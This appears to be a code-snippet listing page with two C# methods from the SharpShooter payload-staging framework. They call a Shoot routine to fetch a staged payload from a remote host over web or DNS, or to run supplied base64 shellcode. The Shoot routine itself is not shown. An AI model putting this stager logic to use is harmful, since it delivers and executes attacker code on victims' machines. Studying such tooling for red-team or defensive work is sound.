Ejemplo n.º 1
0
    public void Go(string RefStr, string NameSpace, string EntryPoint, int Technique, string StageHost)
    {
        SharpShooter ss = new SharpShooter();

        string[] Refs = RefStr.Split(",".ToCharArray(), StringSplitOptions.RemoveEmptyEntries);

        try
        {
            // Attempt either web delivery (1), DNS delivery (2) or attempt both (3)
            switch (Technique)
            {
            case 1:     // web
                ss.Shoot(Refs, NameSpace, EntryPoint, true, StageHost);
                break;

            case 2:     // dns
                ss.Shoot(Refs, NameSpace, EntryPoint, false, StageHost);
                break;
            }
        }
        catch (Exception e)
        {
            //MessageBox.Show(e.Message);

            /*try
             * {
             *  // if an error occurs, fall back to try DNS
             *  // extract the domain
             *  // e.g. URL of http://wwww.example.org/foo becomes example.org for DNS
             *  var uri = new Uri(StageHost);
             *  string Domain = uri.Host;
             *  ss.Shoot(Refs, NameSpace, EntryPoint, false, Domain);
             * }
             * catch { }*/
        }
    }
Ejemplo n.º 2
0
    public void Go(String shellcode64)
    {
        SharpShooter ss = new SharpShooter();

        ss.Shoot(shellcode64);
    }